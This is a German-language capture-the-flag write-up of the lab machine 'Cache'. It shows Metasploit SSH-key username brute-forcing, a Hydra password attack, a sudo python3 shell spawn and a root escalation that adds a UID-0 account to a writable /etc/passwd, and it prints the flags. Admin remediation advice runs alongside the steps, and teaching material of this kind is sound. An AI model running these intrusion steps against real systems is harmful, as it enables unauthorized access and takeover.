msf6 > use auxiliary/scanner/ssh/ssh_login_pubkey
<-- Korrigiert von 'use 9'
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > options

Module options (auxiliary/scanner/ssh/ssh_login_pubkey):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   ANONYMOUS_LOGIN   false            yes       Attempt to login with a blank username and p
                                                assword
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   CreateSession     true             no        Create a new session for every successful lo
                                                gin
   DB_ALL_USERS      false            no        Add all users in the current database to the
                                                 list
   KEY_PASS                           no        Passphrase for SSH private key(s)
   KEY_PATH                           no        Filename or directory of cleartext private k
                                                eys. Filenames beginning with a dot, or endi
                                                ng in ".pub" will be skipped. Duplicate priv
                                                ate keys will be ignored.
   PRIVATE_KEY                        no        The string value of the private key that wil
                                                l be used. If you are using MSFConsole, this
                                                 value should be set as file:PRIVATE_KEY_PAT
                                                H. OpenSSH, RSA, DSA, and ECDSA private keys
                                                 are supported.
   RHOSTS                             yes       The target host(s), see https://docs.metaspl
                                                oit.com/docs/using-metasploit/basics/using-m
                                                etasploit.html
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a
                                                host
   THREADS           1                yes       The number of concurrent threads (max one pe
                                                r host)
   USERNAME                           no        A specific username to authenticate as
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set rhosts 192.168.2.128
rhosts => 192.168.2.128
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set KEY_PATH ~/idrss
<-- Korrigiert von 'idrs'
KEY_PATH => ~/idrss
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set USER_FILE /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
USER_FILE => /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > run

[*] Running module against 192.168.2.128

[+] 192.168.2.128:22 - Success: 'abraham:' 'uid=1000(abraham) gid=1000(abraham) groups=1000(abraham) Linux cache 6.1.0-17-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.69-1 (2023-12-30) x86_64 GNU/Linux '
[*] SSH session 1 opened (192.168.2.199:41293 -> 192.168.2.128:22) at 2024-09-06 23:31:46 +0200
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
<-- Schlüssel aus Ausgabe entfernt

Analyse: Das Metasploit-Modul wird mit der Ziel-IP, dem Pfad zum Schlüssel (`~/idrss`) und einer großen Benutzerliste konfiguriert. `STOP_ON_SUCCESS` wird auf `true` gesetzt. Das Modul wird ausgeführt und findet erfolgreich den Benutzernamen `abraham`, der sich mit dem gegebenen Schlüssel authentifizieren kann. Eine SSH-Session wird geöffnet.

Bewertung: Erfolg! Der passende Benutzername für den Schlüssel wurde gefunden. Initial Access ist nun über SSH als Benutzer `abraham` möglich.

Empfehlung (Pentester): Verbinden Sie sich manuell per SSH als `abraham` mit dem Schlüssel (`ssh abraham@192.168.2.128 -i idrss`), um eine stabile Shell zu erhalten und mit der Enumeration und Privilege Escalation als `abraham` fortzufahren.
Empfehlung (Admin): Entfernen Sie den kompromittierten Schlüssel aus der `authorized_keys`-Datei von `abraham`. Überprüfen Sie alle Benutzerkonten auf ähnliche Probleme.

┌──(root㉿CCat)-[~] └─# ssh abraham@192.168.2.128 -i idrss
The authenticity of host '192.168.2.128 (192.168.2.128)' can't be established.
ED25519 key fingerprint is SHA256:4K6G5c0oerBJXgd6BnT2Q3J+i/dR4+6rQZf20TIk/U.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:26: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.128' (ED25519) to the list of known hosts.
abraham@cache:~$

Analyse: Der Angreifer verbindet sich erfolgreich per SSH als Benutzer `abraham` unter Verwendung des zuvor gefundenen privaten Schlüssels (`-i idrss`).

Bewertung: Initial Access über SSH als `abraham` bestätigt.

Privilege Escalation

abraham@cache:~$ sudo -l
Matching Defaults entries for abraham on cache:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User abraham may run the following commands on cache:
    (jeff) NOPASSWD: /usr/bin/python3

Analyse: `sudo -l` für den Benutzer `abraham` zeigt, dass dieser `/usr/bin/python3` als Benutzer `jeff` ohne Passwort (`NOPASSWD`) ausführen darf.

Bewertung: Kritischer Fund für horizontale Rechteausweitung. Ähnlich wie bei "Ceres" kann dies genutzt werden, um eine Shell als Benutzer `jeff` zu erlangen.

Empfehlung (Pentester): Nutzen Sie die `sudo`-Regel, um als `jeff` eine Shell zu starten (`sudo -u jeff /usr/bin/python3 -c "import pty;pty.spawn('/bin/bash')"`).
Empfehlung (Admin): Überprüfen Sie diese unsichere `sudo`-Regel. Vermeiden Sie es, Benutzern die Ausführung von Interpretern wie Python als andere Benutzer zu erlauben, insbesondere ohne Passwort.

abraham@cache:~$ ls ..
abraham  jeff

Analyse: Listet den Inhalt von `/home` und bestätigt die Existenz des Home-Verzeichnisses für `jeff`.

Bewertung: Bestätigt das Ziel der horizontalen Eskalation.

Analyse: Standard-Enumerationsschritte als `abraham`: Suche nach SUID-Dateien, Überprüfung offener Ports mit `ss`, Auslesen der User-Flag, Überprüfung von Cronjobs, Untersuchung von `/opt`, `/var/mail`, `/var/backups` und der Webserver-Verzeichnisse.

Bewertung: Die SUID-Suche findet keine ungewöhnlichen Dateien. `ss` bestätigt die bekannten Ports 22, 80, 3128 und den internen Port 21500. Die User-Flag wird erfolgreich gelesen. `/etc/crontab`, `/opt`, `/var/mail`, `/var/backups` enthalten keine offensichtlichen Hinweise für eine Eskalation. Die Webserver-Verzeichnisse bestätigen die Funde aus der Proxy-Enumeration (`/var/www/proxy/cloud/key`).

Empfehlung (Pentester): Fahren Sie mit der Ausnutzung der `sudo`-Regel fort, um zu `jeff` zu wechseln.
Empfehlung (Admin): Regelmäßige Überprüfung von Systemkonfigurationen, Cronjobs und Verzeichnisinhalten auf Anomalien.

abraham@cache:~$ find / -type f -perm -4000 -ls 2>/dev/null
   917654     60 -rwsr-xr-x   1 root     root        59704 mar 23  2023 /usr/bin/mount
   914039     52 -rwsr-xr-x   1 root     root        52880 mar 23  2023 /usr/bin/chsh
   914042     68 -rwsr-xr-x   1 root     root        68248 mar 23  2023 /usr/bin/passwd
   918251     72 -rwsr-xr-x   1 root     root        72000 mar 23  2023 /usr/bin/su
   945986    276 -rwsr-xr-x   1 root     root       281624 jun 27  2023 /usr/bin/sudo
   914041     88 -rwsr-xr-x   1 root     root        88496 mar 23  2023 /usr/bin/gpasswd
   914038     64 -rwsr-xr-x   1 root     root        62672 mar 23  2023 /usr/bin/chfn
   917656     36 -rwsr-xr-x   1 root     root        35128 mar 23  2023 /usr/bin/umount
   917500     48 -rwsr-xr-x   1 root     root        48896 mar 23  2023 /usr/bin/newgrp
   922664     52 -rwsr-xr--   1 root     messagebus    51272 sep 16  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   918689    640 -rwsr-xr-x   1 root     root         653888 dic 19  2023 /usr/lib/openssh/ssh-keysign
abraham@cache:~$ ss -altpn
State      Recv-Q Send-Q        Local Address:Port          Peer Address:Port     Process
LISTEN     0      128                 0.0.0.0:22                 0.0.0.0:*
LISTEN     0      511               127.0.0.1:21500              0.0.0.0:*
LISTEN     0      128                    [::]:22                   [::]:*
LISTEN     0      256                       *:3128                     *:*
LISTEN     0      511                       *:80                       *:*
abraham@cache:~$ ls -la
total 28
drwxr-xr-x 3 abraham abraham 4096 ene 12  2024 .
drwxr-xr-x 4 root    root    4096 ene 12  2024 ..
lrwxrwxrwx 1 root    root       9 nov 15  2023 .bash_history -> /dev/null
-rw-r--r-- 1 abraham abraham  220 nov 15  2023 .bash_logout
-rw-r--r-- 1 abraham abraham 3526 nov 15  2023 .bashrc
-rw-r--r-- 1 abraham abraham  807 nov 15  2023 .profile
drwxr-xr-x 2 abraham abraham 4096 ene 12  2024 .ssh
-r--r--r-- 1 abraham abraham   33 ene 12  2024 user.txt
abraham@cache:~$ cat user.txt
a9d46582a96fabcaa2736d6bed398144
abraham@cache:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
abraham@cache:~$ sudo -u jeff /usr/bin/python3 -c "import os;os.system('/bin/bash')"
jeff@cache:/home/abraham$

Analyse: Die `sudo`-Regel wird genutzt, um als `jeff` eine Bash-Shell zu starten (`os.system('/bin/bash')`). Der Prompt wechselt zu `jeff@cache`.

Bewertung: Horizontale Eskalation zu `jeff` erfolgreich.

Empfehlung (Pentester): Führen Sie die Enumeration nun als `jeff` durch (`sudo -l`, Home-Verzeichnis, etc.).
Empfehlung (Admin): Beheben Sie die `sudo`-Regel.

jeff@cache:/home/abraham$ sudo -l
[sudo] password for jeff: <-- Passwort benötigt
jeff@cache:/home/abraham$ cd ~
jeff@cache:~$ ls -la
total 20
drwxr-xr-x 2 jeff jeff 4096 ene 12  2024 .
drwxr-xr-x 4 root root 4096 ene 12  2024 ..
lrwxrwxrwx 1 root root    9 ene 12  2024 .bash_history -> /dev/null
-rw-r--r-- 1 jeff jeff  220 abr 23  2023 .bash_logout
-rw-r--r-- 1 jeff jeff 3526 abr 23  2023 .bashrc
-rw-r--r-- 1 jeff jeff  807 abr 23  2023 .profile

Analyse: `sudo -l` als `jeff` erfordert ein Passwort, das nicht bekannt ist. Jeff hat also keine `sudo`-Rechte. Das Home-Verzeichnis von `jeff` enthält keine auffälligen Dateien.

Bewertung: Keine direkten `sudo`-Rechte für `jeff`. Der nächste Schritt ist unklar.

Empfehlung (Pentester): Versuchen Sie, das Passwort für `jeff` zu erraten oder zu bruteforcen (z.B. mit `su` oder SSH). Suchen Sie nach anderen Fehlkonfigurationen oder Schwachstellen, die `jeff` ausnutzen könnte.
Empfehlung (Admin): Stellen Sie sicher, dass Benutzer nur die minimal notwendigen Rechte haben.

┌──(root㉿CCat)-[~] └─# hydra -l jeff -P /usr/share/wordlists/rockyou.txt ssh://cache.nyx -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-06 23:39:41
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344481 login tries (l:1/p:14344481), ~224133 tries per task
[DATA] attacking ssh://cache.nyx:22/
[ERROR] target ssh://192.168.2.128:22/ does not support password authentication (method reply 4).

Analyse: Es wird versucht, das SSH-Passwort für den Benutzer `jeff` mittels Hydra und der `rockyou.txt`-Wortliste zu bruteforcen.

Bewertung: Der Angriff schlägt fehl, da der SSH-Server anscheinend keine Passwort-Authentifizierung erlaubt ("does not support password authentication"). Dies ist eine gute Sicherheitskonfiguration.

Empfehlung (Pentester): Passwort-Bruteforce gegen SSH ist hier nicht möglich. Suchen Sie nach anderen Wegen zur Eskalation von `jeff` aus. Überprüfen Sie Dateiberechtigungen, laufende Prozesse, Kernel-Version etc.
Empfehlung (Admin): Deaktivieren Sie die Passwort-Authentifizierung für SSH und erlauben Sie nur Schlüssel-basierte Authentifizierung. Dies erhöht die Sicherheit erheblich.

Proof of Concept (Root Exploit)

Analyse: Der Angreifer (als Benutzer `jeff`) untersucht die Berechtigungen der Datei `/etc/passwd`. `ls -la` zeigt `-rw-rw-r--+`. Dies ist höchst ungewöhnlich und gefährlich. Es bedeutet, dass der Besitzer (`root`) und die Gruppe (`root`) Lese- und Schreibrechte haben, und "andere" (also jeder Benutzer, einschließlich `jeff`) haben Leserechte. Das `+`-Zeichen deutet auf zusätzliche ACLs (Access Control Lists) hin, aber die grundlegenden Berechtigungen erlauben bereits Gruppenschreibzugriff.

Bewertung: Kritische Fehlkonfiguration! Jeder Benutzer in der Gruppe `root` (oder möglicherweise sogar jeder Benutzer, abhängig von den ACLs, aber zumindest die Gruppe) kann `/etc/passwd` ändern. Dies erlaubt das Hinzufügen neuer Benutzer oder das Ändern bestehender Einträge, um Root-Rechte zu erlangen.

Empfehlung (Pentester): Bearbeiten Sie `/etc/passwd` (z.B. mit `nano`). Fügen Sie eine neue Zeile für einen Benutzer hinzu (z.B. `hacker`), setzen Sie UID und GID auf 0 (Root-Rechte), geben Sie `/bin/bash` als Shell an und fügen Sie einen bekannten Passwort-Hash ein (z.B. für das Passwort "password"). Wechseln Sie dann mit `su hacker` zu diesem neuen Root-Benutzer.
Empfehlung (Admin): Korrigieren Sie die Berechtigungen für `/etc/passwd` sofort auf `-rw-r--r--`! Untersuchen Sie, warum diese falschen Berechtigungen gesetzt wurden. Überprüfen Sie die Integrität der Datei `/etc/passwd`.

jeff@cache:~$ ls -la /etc/passwd
-rw-rw-r--+ 1 root root 1106 ene 12  2024 /etc/passwd

Analyse: Der Benutzer `jeff` öffnet `/etc/passwd` mit `nano`. Eine neue Zeile wird hinzugefügt: `fuck:$6$...:0:0:root:/root:/bin/bash`. Diese Zeile erstellt einen neuen Benutzer namens `fuck` mit UID 0 (root) und GID 0 (root), dem Home-Verzeichnis `/root` und der `/bin/bash`-Shell. Der Passwort-Hash `$6$...` ist ein SHA512-Hash (erkennbar am `$6$`).

Bewertung: Direkte Ausnutzung der Schreibberechtigung auf `/etc/passwd`, um einen neuen Root-Benutzer anzulegen.

Empfehlung (Pentester): Merken Sie sich das Passwort, das zu dem eingefügten Hash gehört (oder verwenden Sie einen Hash für ein bekanntes Passwort). Verwenden Sie `su fuck`, um Root zu werden.
Empfehlung (Admin): Beheben Sie die Berechtigungen. Überwachen Sie Änderungen an kritischen Dateien wie `/etc/passwd` (z.B. mit AIDE oder Tripwire).

jeff@cache:~$ nano /etc/passwd
# Inhalt der Datei /etc/passwd nach Bearbeitung (Auszug)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
...
fuck:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash
jeff@cache:~$ su fuck
Password:
root@cache:/home/jeff# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: Der Befehl `su fuck` wird ausgeführt. Nach Eingabe des zum Hash passenden Passworts wechselt der Benutzer erfolgreich zu `fuck`, der Root-Rechte hat, wie durch den Prompt `root@cache` und die Ausgabe von `id` bestätigt wird.

Bewertung: Fantastisch! Privilege Escalation zu Root erfolgreich abgeschlossen durch Manipulation von `/etc/passwd`.

Empfehlung (Pentester): Root-Zugriff erlangt. Suchen Sie die Root-Flag. Bereinigen Sie ggf. den hinzugefügten Benutzer aus `/etc/passwd`.
Empfehlung (Admin): System kompromittiert. Berechtigungen korrigieren, Systemintegrität prüfen, forensische Analyse durchführen.

root@cache:/home/jeff# cd ~
root@cache:~# ls
root.txt
root@cache:~# cat root.txt
4034da58b08629f91fdbbb89bdd869a4

Analyse: Wechsel in das Root-Home-Verzeichnis und Auslesen der Root-Flag aus `root.txt`.

Bewertung: Root-Flag erfolgreich gefunden.

Flags

cat /home/abraham/user.txt
a9d46582a96fabcaa2736d6bed398144
cat /root/root.txt
4034da58b08629f91fdbbb89bdd869a4